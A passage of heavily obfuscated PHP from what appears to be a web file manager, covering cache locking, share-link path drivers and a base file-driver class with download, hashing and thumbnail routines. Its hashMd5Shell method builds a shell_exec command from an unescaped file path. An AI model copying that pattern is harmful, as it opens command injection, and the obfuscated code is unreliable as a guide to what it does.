fخ: $CԤҭ += strspn($F, $f[1567], $CԤҭ); $Dﴽ› = $F[$CԤҭ]; switch ($Dﴽ›) { case $f[1568]: $cר = strcspn($F, $f[1569], $CԤҭ); if ($cר > 0) { $CԤҭ += $cר; return self::getRawObject($F, $CԤҭ); } break; case $f[8]: $C = $Dﴽ›; ++$CԤҭ; $f = preg_match($f[1570], substr($F, $CԤҭ, 256), $FϽ); if (1 == $f) { $fЪ = $FϽ[1]; $CԤҭ += strlen($fЪ); } break; case $f[244]: case $f[813]: $C = $Dﴽ›; ++$CԤҭ; $D􎬅 = $CԤҭ; if ($f[244] == $Dﴽ›) { $Dެ = 1; while ($Dެ > 0) { if (!isset($F[$D􎬅])) { break; } $B = $F[$D􎬅]; switch ($B) { case $f[93]: ++$D􎬅; break; case $f[244]: ++$Dެ; break; case $f[813]: --$Dެ; break; } ++$D􎬅; } $fЪ = substr($F, $CԤҭ, $D􎬅 - $CԤҭ - 1); $CԤҭ = $D􎬅; } break; case $f[153]: case $f[472]: $C = $Dﴽ›; ++$CԤҭ; if ($f[153] == $Dﴽ›) { $fЪ = array(); do { $e팊 = $CԤҭ; $a = self::getRawObject($F, $CԤҭ); $CԤҭ = $a[2]; $fЪ[] = $a; } while ($f[472] != $a[0] && $CԤҭ != $e팊); array_pop($fЪ); } break; case $f[921]: case $f[924]: if (isset($F[$CԤҭ + 1]) && $F[$CԤҭ + 1] == $Dﴽ›) { $C = $Dﴽ› . $Dﴽ›; $CԤҭ += 2; if ($f[921] == $Dﴽ›) { $fЪ = array(); do { $e팊 = $CԤҭ; $a = self::getRawObject($F, $CԤҭ); $CԤҭ = $a[2]; $fЪ[] = $a; } while ($f[1571] != $a[0] && $CԤҭ != $e팊); array_pop($fЪ); } } else { $C = $Dﴽ›; ++$CԤҭ; $f = preg_match($f[1572], substr($F, $CԤҭ), $FϽ); if ($f[921] == $Dﴽ› && 1 == $f) { $fЪ = strtr($FϽ[1], $f[1573], $f[33]); $CԤҭ += \strlen($FϽ[0]); } elseif (!1 !== ($Aݿ = strpos($F, $f[924], $CԤҭ))) { $CԤҭ = $Aݿ + 1; } } break; default: if ($f[1574] == substr($F, $CԤҭ, 6)) { $C = $f[1574]; $CԤҭ += 6; } elseif ($f[99] == substr($F, $CԤҭ, 4)) { $C = $f[99]; $CԤҭ += 4; $fЪ = $f[99]; } elseif ($f[1575] == substr($F, $CԤҭ, 4)) { $C = $f[1576]; $CԤҭ += 4; $fЪ = $f[1575]; } elseif ($f[1577] == substr($F, $CԤҭ, 5)) { $C = $f[1576]; $CԤҭ += 5; $fЪ = $f[1577]; } elseif ($f[1578] == substr($F, $CԤҭ, 6)) { $C = $f[1578]; $CԤҭ += 6; if (1 == preg_match($f[1579], substr($F, $CԤҭ), $FϽ)) { $CԤҭ += strlen($FϽ[0]); $c稇 = $f[1580]; $f = preg_match($c稇, substr($F, $CԤҭ), $FϽ, PREG_OFFSET_CAPTURE); if (1 == $f) { $fЪ = substr($F, $CԤҭ, $FϽ[0][1]); $CԤҭ += $FϽ[1][1]; } } } elseif ($f[1581] == substr($F, $CԤҭ, 9)) { $C = $f[1581]; $CԤҭ += 9; } elseif (1 == preg_match($f[1582], substr($F, $CԤҭ, 33), $FϽ)) { $C = $f[1544]; $CԤҭ += strlen($FϽ[0]); $fЪ = intval($FϽ[1]) . $f[70] . intval($FϽ[2]); } elseif (1 == preg_match($f[1583], substr($F, $CԤҭ, 33), $FϽ)) { $C = $f[1584]; $fЪ = intval($FϽ[1]) . $f[70] . intval($FϽ[2]); $CԤҭ += strlen($FϽ[0]); } elseif (($B݂ = strspn($F, $f[1585], $CԤҭ)) > 0) { $C = $f[1586]; $fЪ = substr($F, $CԤҭ, $B݂); $CԤҭ += $B݂; } break; } goto e; Eȝ: $f =& $_SERVER[ֹ]; $C = $f[33]; $fЪ = $f[33]; goto fخ; e: return array($C, $fЪ, $CԤҭ); goto e; e: } } goto Bɮ; a۰: function cacheLockWait() { usleep(mt_rand(5, 50) * 100); } class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $eޓ =& $_SERVER[ֹ]; $eؘӒ = $GLOBALS[$eޓ[6]][$eޓ[333]]; self::$cachePath = $eؘӒ[$eޓ[163]][$eޓ[75]]; @mkdir(self::$cachePath, 511, !0); } public function lock($eǕ, $D = 0) { goto e៊; B: $Aƽ̧ = rtrim(self::$cachePath, $Ċ[8]) . $Ċ[769] . md5($eǕ) . $Ċ[770]; if (file_exists($Aƽ̧) && filemtime($Aƽ̧) && filemtime($Aƽ̧) < time() - 10) { @unlink($Aƽ̧); } do { if (file_exists($Aƽ̧)) { cacheLockWait(); continue; } $Fҙ = fopen($Aƽ̧, $Ċ[771]); if (!$Fҙ) { return !1; } $Aԏ = flock($Fҙ, LOCK_EX | LOCK_NB); self::$caches[$eǕ] = array($Ċ[772] => $Fҙ, $Ċ[163] => $Aƽ̧); fwrite($Fҙ, $B); clearstatcache(); if ($Fҙ && $Aԏ) { return !0; } cacheLockWait(); } while (microtime(!0) < $B); goto d͸׳ِ; d͸׳ِ: $this->unlock($eǕ); return !1; goto D; e៊: $Ċ =& $_SERVER[ֹ]; $C = microtime(!0); $B = $C + $D + 0.0001; goto B; D: } public function lockGet($Aꖙ) { $dʜء =& $_SERVER[ֹ]; $cݽ = rtrim(self::$cachePath, $dʜء[8]) . $dʜء[769] . md5($Aꖙ) . $dʜء[770]; return file_exists($cݽ); } public function unlock($cݮ݈) { goto b֔; A: @flock($dҨ[$b[772]], LOCK_UN); @fclose($dҨ[$b[772]]); @unlink($dҨ[$b[163]]); goto fƏٲ; fƏٲ: unset(self::$caches[$cݮ݈]); goto AӇ; b֔: $b =& $_SERVER[ֹ]; $dҨ = self::$caches[$cݮ݈]; if (!$dҨ) { return; } goto A; AӇ: } } class CacheLockRedis { public function lock($D, $d˓ = 10) { $E = Cache::init(); $d֒ = microtime(!0) + $d˓; while (microtime(!0) < $d֒) { $aº = $E->get($D); if (!$aº) { $F˲ܙ = $E->setLock($D, $d֒, $d˓); if ($F˲ܙ) { return !0; } } else { if ($aº < microtime(!0)) { $E->set($D, $d֒, $d֒); if ($E->get($D) === $aº) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($aԦż) { return Cache::init()->get($aԦż); } public function unlock($EƆ) { return Cache::init()->remove($EƆ); } } goto aܚ; A: function beforeShutdownFatalError($F·) { think_exception($F·); } $_SERVER[$_SERVER[][48]] = $fӕ򫟪($_SERVER[$_SERVER[][45]]); $FԢ = E_ALL ^ E_NOTICE ^ E_WARNING ^ E_DEPRECATED; goto C͛; D‘: class PathDriverDbShareLink extends PathDriverDB { public function __construct($C) { $this->pathParse = $C; $this->model = Model($_SERVER[ֹ][1104]); } protected function infoParse($C뜊, $cӃ = false, $A = false) { $B٢ =& $_SERVER[ֹ]; return Action($B٢[1011])->sharePathInfo($this->pathParse[$B٢[75]], !0); } public function listPath($F, $dڬ҇ = false) { $FʈΖ =& $_SERVER[ֹ]; $bݳݻ = parent::listPath($F, $dڬ҇); foreach ($bݳݻ as $e۵ => $dɓ) { if (!in_array($e۵, array($FʈΖ[73], $FʈΖ[74]))) { continue; } foreach ($dɓ as $f𢐋 => $fĕ) { $bݳݻ[$e۵][$f𢐋] = Action($FʈΖ[1011])->shareItemInfo($fĕ); } } return $bݳݻ; } public function listAll($eЄ) { $D =& $_SERVER[ֹ]; $eƑ = IO::info($this->pathParse[$D[75]]); if (!$eƑ) { return array(); } $B = $this->model->listAll($eЄ); foreach ($B as &$Fшō) { $Fшō[$D[387]] = Action($D[1011])->shareItemInfo($Fшō[$D[387]]); } return $B; } } class PathDriverDriverShareItem { public function __construct($f) { $this->pathParse = $f; } public function __call($F肵, $AӅ) { $B͓ =& $_SERVER[ֹ]; if (method_exists($this, $F肵)) { return; } $Cޕ = call_user_func_array(array($B͓[1111], $F肵), $AӅ); $Fϗ = array($B͓[1112], $B͓[1113], $B͓[1114], $B͓[1115], $B͓[486], $B͓[488], $B͓[1116], $B͓[102], $B͓[1117], $B͓[1118]); if (in_array($F肵, $Fϗ)) { $Cޕ = $this->getPathOuter($Cޕ); } return $Cޕ; } public function copy($E⺈, $Cݦ, $A߽ = false) { return $this->copyMove($E⺈, $Cݦ, $A߽, $_SERVER[ֹ][486]); } public function move($e, $c, $F = false) { return $this->copyMove($e, $c, $F, $_SERVER[ֹ][488]); } private function copyMove($eԊ, $Fˣ˕, $dí, $D) { goto e˶; F…: if ($eڳ->pathParse[$eቝ[992]]) { $Fˣ˕ = $eڳ->pathParse[$eቝ[992]]; } else { $Fˣ˕ = $F; } $a = IO::copyMove($eԊ, $Fˣ˕, $dí, $D); $a = $this->getPathOuter($a); goto D; D: return $a; goto A̕ɴ; e˶: $eቝ =& $_SERVER[ֹ]; $F = $Fˣ˕; $eڳ = IO::driverMake($Fˣ˕); goto F…; A̕ɴ: } public function pathFather($f䇕) { return get_path_father($this->pathParse[$_SERVER[ֹ][75]]); } public function iconvSystem($BՊ) { return $BՊ; } protected function infoParse($džҍ) { $dނ =& $_SERVER[ֹ]; $A = $this->pathParse[$dނ[435]][$dނ[1012]] . $this->pathParse[$dނ[1005]]; $Aվ = IO::info($A); $C͆ɶ = $this->pathParse[$dނ[435]]; return Action($dނ[1110])->_shareItemeParse($Aվ, $C͆ɶ); } public function listAll($D݂֥) { $cۭ =& $_SERVER[ֹ]; $B秕 = IO::listAll($D݂֥); $cψ¶ = $this->pathParse[$cۭ[435]]; foreach ($B秕 as &$Fɴނ) { check_abort(); $Fɴނ = array_merge(IO::info($Fɴނ[$cۭ[75]]), $Fɴނ); $Fɴނ[$cۭ[387]] = Action($cۭ[1110])->_shareItemeParse($Fɴނ, $cψ¶); } return $B秕; } public function getPathOuter($c) { goto F; F: $c =& $_SERVER[ֹ]; $AӉ = KodIO::parse($c); if ($AӉ[$c[29]] == KodIO::KOD_SHARE_ITEM) { return $AӉ[$c[75]]; } goto dʎέԷ; dʎέԷ: $bާǝ = KodIO::clear($c); $e冝̎ = KodIO::clear($this->pathParse[$c[435]][$c[1012]]); $EӔ٩ = substr($bާǝ, strlen($e冝̎)); goto D쉨ȇ; D쉨ȇ: if (substr($bާǝ, 0, strlen($e冝̎)) != $e冝̎) { return !1; } return $this->pathParse[$c[1006]] . $c[8] . ltrim($EӔ٩, $c[8]); goto b; b: } public function getType() { $cس =& $_SERVER[ֹ]; $Bն = str_replace($cس[71], $cس[33], get_class($this)); return strtolower($Bն); } public function isTypeObject($Fڏ) { return IO::isTypeObject($Fڏ); } public function info($d楨) { return $this->infoParse($d楨); } public function infoAuth($dھͱ) { return $this->infoParse($dھͱ); } public function infoWithChildren($Eޢʸ) { return $this->infoParse($Eޢʸ); } public function infoFull($cı) { return $this->infoParse($cı); } } class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($DƋ) { $this->pathParse = $DƋ; } protected function infoParse($dԦ) { $C =& $_SERVER[ֹ]; return Action($C[1011])->sharePathInfo($this->pathParse[$C[75]], !0); } public function listPath($cáȈ, $DƉ = false) { $E =& $_SERVER[ֹ]; $e͵ڋ = IO::listPath($cáȈ, $DƉ); foreach ($e͵ڋ as $C => $B˟) { if (!in_array($C, array($E[73], $E[74]))) { continue; } foreach ($B˟ as $DԘʚ => $Fꪋ) { $Fꪋ = Action($E[1119])->parsePathChildren($Fꪋ, array($E[383] => $cáȈ)); $e͵ڋ[$C][$DԘʚ] = Action($E[1011])->shareItemInfo($Fꪋ); } } return $e͵ڋ; } public function listAll($AǶ) { $bټ =& $_SERVER[ֹ]; $Fٽ = IO::listAll($AǶ); foreach ($Fٽ as &$Aᬋʈ) { $Aᬋʈ = array_merge(IO::info($Aᬋʈ[$bټ[75]]), $Aᬋʈ); $Aᬋʈ[$bټ[387]] = Action($bټ[1011])->shareItemInfo($Aᬋʈ); } return $Fٽ; } } goto C; eޱ: define($_SERVER[ֹ][223], 2); define($_SERVER[ֹ][224], 3); define($_SERVER[ֹ][225], 1); goto aԏ花; c: class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public function __construct() { $EɗÐ =& $_SERVER[ֹ]; $this->objectDriver = array($EɗÐ[57], $EɗÐ[58], $EɗÐ[59], $EɗÐ[60], $EɗÐ[61], $EɗÐ[62], $EɗÐ[63], $EɗÐ[64]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($C) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($C, $_SERVER[ֹ][8]); } return $C; } public function getPathName($F) { return $F; } public function iconvApp($Cȸ) { return $Cȸ; } public function iconvSystem($D􄆇) { return $D􄆇; } public function iconvTo($Bɑғ, $c띎, $A) { goto cí˽; cí˽: $a͓ =& $_SERVER[ֹ]; if (!$Bɑғ || !function_exists($a͓[65])) { return $Bɑғ; } static $Bש = array(); goto Dɟ; D⍬: $Bש[$A . $a͓[66] . $c띎 . $a͓[67] . $Bɑғ] = $Bɑғ; $Bש[$A . $a͓[66] . $c띎 . $a͓[67] . $d] = $Bɑғ; $Bש[$c띎 . $a͓[66] . $A . $a͓[67] . $d] = $d; goto F柕; Dɟ: $B䯍 = $c띎 . $a͓[66] . $A . $a͓[67] . $Bɑғ; if (isset($Bש[$B䯍])) { return $Bש[$B䯍]; } if (function_exists($a͓[68])) { $d = @mb_convert_encoding($Bɑғ, $A, $c띎); } else { $d = @iconv($c띎, $A, $Bɑғ); } goto b今; b今: $d = $d ? $d : $Bɑғ; if (strstr($d, $a͓[69])) { $d = str_replace($a͓[69], $a͓[70], $d); } $Bש[$c띎 . $a͓[66] . $A . $a͓[67] . $Bɑғ] = $d; goto D⍬; F柕: return $d; goto f߈ޚ; f߈ޚ: } public function getPathInner($E) { $A޵ = IO::init($E); return $A޵->path; } public function getPathOuter($A) { $f㢛 =& $_SERVER[ֹ]; $aؖ = strlen(trim($this->pathBase, $f㢛[8])); $A = substr(trim($A, $f㢛[8]), $aؖ); return $this->pathDriver . $f㢛[8] . ltrim($A, $f㢛[8]); } public function isParentOf($CΛ, $b) { $C =& $_SERVER[ֹ]; $CΛ = rtrim(strtolower($CΛ), $C[8]) . $C[8]; $b = rtrim(strtolower($b), $C[8]) . $C[8]; $e㏌݈ = strpos($b, $CΛ) === 0; return $e㏌݈; } public function getType() { $cׄ =& $_SERVER[ֹ]; $d = str_replace($cׄ[71], $cׄ[33], get_class($this)); return strtolower($d); } public function isTypeObject() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($eŰٽ, $d兤) { $B򗅾 =& $_SERVER[ֹ]; $e = rtrim($eŰٽ, $B򗅾[8]) . $B򗅾[8] . $d兤; $fڌÄ = $this->exist($e); return $fڌÄ ? $e : !1; } public function renameObject($d¸̏, $f݊۝ݏ) { goto Bǃ; E킒: $d¸̏ = $this->getPathOuter($d¸̏); $f݊۝ݏ = $this->pathFather($d¸̏) . $f݊۝ݏ; if (IO::isFile($d¸̏)) { $bǴ؏ = IO::copy($d¸̏, $this->pathFather($d¸̏), REPEAT_RENAME_FOLDER, $cˌ); if ($bǴ؏) { IO::remove($d¸̏); } } else { $bǴ؏ = IO::mkdir($f݊۝ݏ); if (!$bǴ؏) { return !1; } $C啟 = IO::listPath($d¸̏, !0); $f̶ = array_merge($C啟[$Dǫ繖[73]], $C啟[$Dǫ繖[74]]); foreach ($f̶ as $F˙) { IO::move($F˙[$Dǫ繖[75]], $f݊۝ݏ, REPEAT_RENAME_FOLDER); } IO::remove($d¸̏); } goto b쵰; Bǃ: $Dǫ繖 =& $_SERVER[ֹ]; $cˌ = $f݊۝ݏ; Hook::trigger($Dǫ繖[72], $this, $d¸̏, $this, $this->pathFather($d¸̏) . $f݊۝ݏ); goto E킒; b쵰: return $bǴ؏ ? $f݊۝ݏ : !1; goto Bְ; Bְ: } public function tempFile($C݆۔ = '', $AꞬ = '') { goto dțα; EČҚ: return $F; goto f; E҈: $F = $Fӵ . $C݆۔; @touch($F); if ($AꞬ) { file_put_contents($F, $AꞬ); } goto EČҚ; dțα: if (!$C݆۔) { $C݆۔ = rand_string(15); } $Fӵ = TEMP_FILES . rand_string(15) . $_SERVER[ֹ][8]; @mkdir($Fӵ, 511, !0); goto E҈; f: } public function tempFileRemve($Bڌ) { @unlink($Bڌ); @rmdir($this->pathFather($Bڌ)); } public function mkfile($b, $aꠅ = '', $c = REPEAT_RENAME) { } public function mkdir($dྉ, $a䉽 = REPEAT_SKIP) { } public function copyFile($e֯Յ, $f𔙈) { } public function moveFile($Dɬ, $e) { } public function remove($Aŋ) { if ($this->isFile($Aŋ)) { return $this->delFile($Aŋ); } return $this->delFolder($Aŋ); } public function rename($f餿, $D顳֒) { } public function exist($cӈ) { } public function findByHash($EƾǪժ = '', $Cζ = '') { return !1; } public function isFile($b) { } public function isFolder($B) { } public function size($bƬ) { } public function info($aש) { } public function infoSimple($FŖ) { return $this->info($FŖ); } public function infoAuth($d) { return $this->info($d); } public function infoFull($Fثɴ) { return $this->info($Fثɴ); } public function infoWithChildren($D殅) { $e =& $_SERVER[ֹ]; $aƿ = $this->info($D殅); if ($aƿ && $aƿ[$e[29]] == $e[76]) { $DƱߖ = array($e[77] => 0, $e[78] => 0, $e[79] => 0); $this->infoChildren($D殅, $DƱߖ); $aƿ[$e[77]] = $DƱߖ[$e[77]]; $aƿ[$e[80]] = array($e[81] => $DƱߖ[$e[78]], $e[82] => $DƱߖ[$e[79]]); } return $aƿ; } public function listPath($A, $Fσ = false) { } public function has($AΑ, $b͢٧ = false, $Aʻ = false) { } public function canRead($dʸ޶) { } public function canWrite($e) { } public function getContent($BȆ) { } public function setContent($B, $eƨ = '') { } protected function infoChildren($dÐ, &$fաҸ) { $F㰋 =& $_SERVER[ֹ]; check_abort(); $dڕ = $this->listPath($dÐ, !0); $dڕ = array_merge($dڕ[$F㰋[74]], $dڕ[$F㰋[73]]); foreach ($dڕ as $F) { if ($F[$F㰋[29]] == $F㰋[76]) { $fաҸ[$F㰋[79]]++; $Cܐ߇ = $this->getPathInner($F[$F㰋[75]]); $this->infoChildren($Cܐ߇, $fաҸ); } else { $fաҸ[$F㰋[78]]++; $fաҸ[$F㰋[77]] += $F[$F㰋[77]]; } } } public function fileSubstr($f, $bϳ, $d) { } public function listAll($EǼ) { } public function upload($dƒ, $a, $c = false, $B諶Ō = REPEAT_REPLACE) { } public function uploadFileByID($A, $d˴Ŷ, $Dʛ) { } public function uploadFileByPath($f¥, $eŢ̬, $Dއ = array()) { } public function isUploadServer() { $bΝ =& $_SERVER[ֹ]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $bΝ[83]) { return !0; } return $GLOBALS[$bΝ[6]][$bΝ[84]][$bΝ[85]]; } public function isFileOutServer() { $Aݷ =& $_SERVER[ֹ]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $Aݷ[83]) { return !0; } return $GLOBALS[$Aݷ[6]][$Aݷ[84]][$Aݷ[86]]; } public function isCdnHost() { return $this->isFileOutServer() || empty($this->cdnHost) ? !1 : !0; } public function getCdnLink($Dق) { $C =& $_SERVER[ֹ]; if (!$this->isCdnHost()) { return $Dق; } return str_replace(trim(get_url_root($Dق), $C[8]), trim($this->cdnHost, $C[8]), $Dق); } public function uploadLink($dŸ, $fԉᄐ = 0) { goto Bڕу; Cƒ: if ($D폒) { $D폒[$f‚э[89]] = $dŸ; $D폒[$f‚э[90]] = $b؉; } return $D폒; goto BԆ; Cӳ: $eપ = $fԉᄐ <= $dճ˄ ? $f‚э[87] : $f‚э[88]; $Fɽɐ = (!$fԉᄐ ? 1 : ceil($fԉᄐ / pow(1024, 3))) * 3600 * 4; $D폒 = $this->{$eપ}($dŸ, $Fɽɐ); goto Cƒ; C: if (!in_array($b؉, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $dճ˄ = 1024 * 1024 * 10; goto Cӳ; Bڕу: $f‚э =& $_SERVER[ֹ]; if ($this->isUploadServer()) { return; } $b؉ = $this->getType(); goto C; BԆ: } public function uploadFormData($AՈ, $e = 3600) { } public function multiUploadFormData($F׺, $b׾ = 3600) { } public function download($E驟, $cŏ) { } public function ext($b奏) { $eղ =& $_SERVER[ֹ]; if (strpos($b奏, $eղ[8]) === -1) { $Cݩð = $b奏; } else { $Cݩð = $this->pathThis($b奏); } $D荺 = $eղ[33]; if (strstr($Cݩð, $eղ[91])) { $D荺 = substr($Cݩð, strrpos($Cݩð, $eղ[91]) + 1); $D荺 = strtolower($D荺); } if (strlen($D荺) > 3 && preg_match($eղ[92], $D荺, $f)) { $D荺 = $eղ[33]; } return $D荺; } public function pathThis($B) { $FӪ =& $_SERVER[ֹ]; $B = str_replace($FӪ[93], $FӪ[8], rtrim($B, $FӪ[8])); $bϥ = strrpos($B, $FӪ[8]); if ($bϥ === !1) { return $B; } return substr($B, $bϥ + 1); } public function pathFather($b) { $F̄ =& $_SERVER[ֹ]; $b = str_replace($F̄[93], $F̄[8], rtrim($b, $F̄[8])); $cִ = strrpos($b, $F̄[8]); if ($cִ === !1) { return $F̄[33]; } return substr($b, 0, $cִ + 1); } public function hashSimple($E،) { goto A; dٲȋ: $B = intval($b / $Dɲ׉); $A퓇݄ = $d[33]; for ($C݆ = 0; $C݆ < $Dɲ׉; $C݆++) { $A퓇݄ .= $this->fileSubstr($E،, $B * $C݆, $c); } goto ať; aՠ羍: $c = 200; $Dɲ׉ = 50; if ($b <= $c * $Dɲ׉) { return $this->hashMd5($E،) . $b; } goto dٲȋ; ať: $A퓇݄ .= $this->fileSubstr($E،, $b - $c, $c); return md5($A퓇݄) . $b; goto EޭҒý; A: $d =& $_SERVER[ֹ]; if (!$E،) { return md5($d[33]); } $b = $this->size($E،); goto aՠ羍; EޭҒý: } public static $md5Cache = array(); public function hashMd5($Bه) { $Bه = $this->iconvSystem($Bه); if (isset(self::$md5Cache[$Bه])) { return self::$md5Cache[$Bه]; } self::$md5Cache[$Bه] = $this->hashMd5Shell($Bه); if (!self::$md5Cache[$Bه]) { self::$md5Cache[$Bه] = @md5_file($Bه); } return self::$md5Cache[$Bه]; } private function hashMd5Shell($A) { goto B; Fى: $a⍂ = shell_exec($b߹ⅈ . "\40\x22{$A}\42"); return substr($a⍂, 0, 32); goto a; B: $Fּ =& $_SERVER[ֹ]; if (!function_exists($Fּ[94])) { return !1; } $eʚ = array($Fּ[95], $Fּ[96]); goto A; A: $b߹ⅈ = Cache::get($Fּ[97]); if (!$b߹ⅈ) { $dӹۚ = BASIC_PATH . $Fּ[98]; $d = md5_file($dӹۚ); $b߹ⅈ = $Fּ[99]; foreach ($eʚ as $c娙) { $a⍂ = shell_exec($c娙 . "\x20\x22{$dӹۚ}\42"); if ($a⍂ && substr(trim($a⍂), 0, 32) == $d) { $b߹ⅈ = $c娙; break; } } Cache::set($Fּ[97], $b߹ⅈ, 3600); } if ($b߹ⅈ == $Fּ[99]) { return !1; } goto Fى; a: } public function link($A) { return $A; } public function fileOut($Dۅ, $c = false, $d = false, $eљ = '') { goto Eɫ; e•: $F = 0; $Cņ = $a̱ - 1; $F̙ = $this->ext($eѓඇ); goto A; FȘ: header($D[124]); header($D[125]); header($D[126]); goto aܗ; B: header($D[134] . $a̱); header($D[135]); if (!$c && $F̙ == $D[136]) { if ($a̱ > 1024 * 1024 * 5) { die; } $aۃ = $this->getContent($Dۅ); $aۃ = Html::clearSVG($aۃ); echo $aۃ; die; } goto C׉Ԙ; C׉Ԙ: $Cɍ = strtolower($_SERVER[$D[137]]); if ($F && $Cɍ && $e漹) { if (strstr($Cɍ, $D[138])) { header($D[139] . $Dۅ); } else { if (strstr($Cɍ, $D[140])) { header($D[141] . $Dۅ); } else { if (strstr($Cɍ, $D[142])) { header($D[143] . $Dۅ); } } } if ($Cؙ) { header($D[144] . $Cؙ); } return; } if (isset($_SERVER[$D[145]])) { if (preg_match($D[146], $_SERVER[$D[145]], $F)) { $F = intval($F[1]); if (!empty($F[2])) { $Cņ = intval($F[2]); } } header($D[147]); header("\x43\157\156\x74\x65\x6e\164\55\x52\x61\x6e\x67\145\x3a\40\142\171\164\x65\x73\x20{$F}\55{$Cņ}\x2f" . $a̱); } else { header($D[148]); } goto f; d: $eӐ = rawurlencode($eѓඇ); $eӐ = $D[112] . $eӐ . $D[116] . $eӐ; if ($c) { header($D[117]); header($D[118] . $eӐ); } else { header($D[119] . $eӐ); } goto D; f: header($D[149] . ($Cņ - $F + 1)); if ($_SERVER[$D[150]] == $D[151]) { return; } $C = 1024 * 100; goto eҝ; aܗ: if (isset($_SERVER[$D[127]]) && strtotime($_SERVER[$D[127]]) == $E콌[$D[106]]) { header($D[128], !0, 304); die; } if (isset($_SERVER[$D[129]]) && $_SERVER[$D[129]] == $eљ) { header($D[130] . $eљ, !0, 304); die; } header($D[130] . $eљ); goto d҆; d҆: header($D[131] . $B . $D[123]); header($D[132] . $eѓඇ); header($D[133]); goto B; A: if (in_array($F̙, array($D[107], $D[108], $D[109], $D[110]))) { $F̙ = $D[111]; } if (!$eљ) { $eљ = md5($B . $this->hashSimple($Dۅ)); } $eљ = $D[112] . $eљ . $D[112]; goto dÝ; dÝ: $f = get_file_mime($F̙); if (strstr($f, $D[113])) { $f = $f . $D[114]; } if ($c === !1 && !mime_support($f)) { $c = !0; $f = $D[115]; } goto d; D: header($D[120]); header($D[121] . $f); header($D[122] . gmdate($D[105], time() + 3600 * 24 * 30) . $D[123]); goto FȘ; eҝ: $Dž = 0; if ($Cؙ) { $Dž = intval(1000 * 1000 * ($C / $Cؙ)); } while ($F <= $Cņ) { $A╄ = timeFloat(); check_abort(); $e驹 = $Cņ - $F + 1; if ($e驹 <= $C) { $C = $e驹; } echo $this->fileSubstr($Dۅ, $F, $C); $F += $C; if ($C == $e驹) { $F = $Cņ + 1; } if ($Dž) { $bв = intval(1000 * 1000 * (timeFloat() - $A╄)); $d = $Dž - $bв; if ($d > 5) { usleep($d); } } } goto Fѻƭ; bϑ: @ob_end_clean(); set_timeout(); $E콌 = $this->infoFull($Dۅ); goto Fؠ; Eɫ: $D =& $_SERVER[ֹ]; $this->cacheMethod(null, null); if (!$Dۅ || !$this->exist($Dۅ)) { show_json(LNG($D[100]), !1, $d); } goto Dʸǒ; Fؠ: $a̱ = $E콌[$D[77]]; $B = gmdate($D[105], $E콌[$D[106]]); $eѓඇ = $d ? $d : $this->iconvApp($E콌[$D[28]]); goto e•; Dʸǒ: $F = $this->getType() == $D[101]; $e漹 = $GLOBALS[$D[6]][$D[84]][$D[102]][$D[103]]; $Cؙ = (double) $GLOBALS[$D[6]][$D[84]][$D[102]][$D[104]] * 1024 * 1024; goto bϑ; Fѻƭ: } public function fileOutServer($DМ, $c̱ = false, $cɐ = false, $bǫ = '') { $this->fileOut($DМ, $c̱, $cɐ, $bǫ); } public function fileOutLink($cЋ) { header($_SERVER[ֹ][152] . $cЋ); die; } public function cacheMethod($fϓŌ, $B̆) { goto aʝ; F: if (!is_null($dۚ)) { return $dۚ; } $dۚ = $this->{$fϓŌ}($B̆); $AцΔ[$bƩ] = $dۚ; goto c׃; aʝ: $e =& $_SERVER[ֹ]; static $AцΔ = array(); $bƩ = $e[153] . $fϓŌ . $e[154] . rtrim($B̆, $e[8]); goto F; F: if (is_null($fϓŌ)) { $AцΔ = array(); return; } if (is_null($B̆)) { unset($AцΔ[$bƩ]); return; } $dۚ = isset($AцΔ[$bƩ]) ? $AцΔ[$bƩ] : null; goto F; c׃: return $dۚ; goto F弉亠; F弉亠: } public function fileOutImage($aí, $d޳ = 250) { goto Aΐ; a: if ($B՘[$E񳽗[77]] <= 1024 * 50 || !function_exists($E񳽗[155]) || $B՘[$E񳽗[156]] == $E񳽗[157]) { return $this->fileOut($aí); } if (isset($B՘[$E񳽗[158]][$E񳽗[159]])) { $Cʣ = $B՘[$E񳽗[158]][$E񳽗[159]]; } else { if (isset($B՘[$E񳽗[158]][$E񳽗[160]])) { $Cʣ = $B՘[$E񳽗[158]][$E񳽗[160]]; } else { $Cʣ = md5("{$B՘[$E񳽗[28]]}\137{$B՘[$E񳽗[75]]}\x5f{$B՘[$E񳽗[77]]}"); } } $fّˌ = "{$Cʣ}\x5f{$d޳}\56\x70\x6e\147"; goto Eܭ; Aΐ: $E񳽗 =& $_SERVER[ֹ]; if (substr($aí, 0, 4) == $E񳽗[142]) { $this->fileOutLink($aí); } $B՘ = $this->info($aí); goto a; Eָ: $D߲ = DATA_THUMB . $fّˌ; if (!@file_exists($D߲)) { $EѭІޝ = TEMP_FILES; if (!is_dir($EѭІޝ)) { mk_dir($EѭІޝ); } $A̚ = $EѭІޝ . $Cʣ . $E񳽗[91] . $B՘[$E񳽗[156]]; if (!@file_exists($A̚)) { $A̚ = $this->download($aí, $A̚); } $e = new ImageThumb($A̚, $E񳽗[163]); $e->prorate($D߲, $d޳, $d޳ * 10); } if (!file_exists($D߲) || filesize($D߲) < 100) { return @file_exists($A̚) ? IO::fileOut($A̚) : $this->fileOut($aí); } goto Aʞ汳; Eܭ: if (!($B = IO::fileNameExist(IO_PATH_SYSTEM_TEMP, $E񳽗[161]))) { $E = IO::mkdir(IO_PATH_SYSTEM_TEMP . $E񳽗[162]); } else { $E = KodIO::make($B); } if ($B = IO::fileNameExist($E, $fّˌ)) { $D߲ = KodIO::make($B); return IO::fileOut($D߲); } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } goto Eָ; Aʞ汳: if (!($aٿׄ = IO::move($D߲, $E))) { return IO::fileOut($D߲); } del_file($D߲); IO::fileOut($aٿׄ); goto A; A: } public function fileOutImageServer($Fƃɚ, $B͑Ъ = 250) { $this->fileOutImage($Fƃɚ, $B͑Ъ); } public function fileNameAuto($aʮ, $D’э, $F = REPEAT_RENAME, $dұ = false) { goto cư; cե: if ($F == 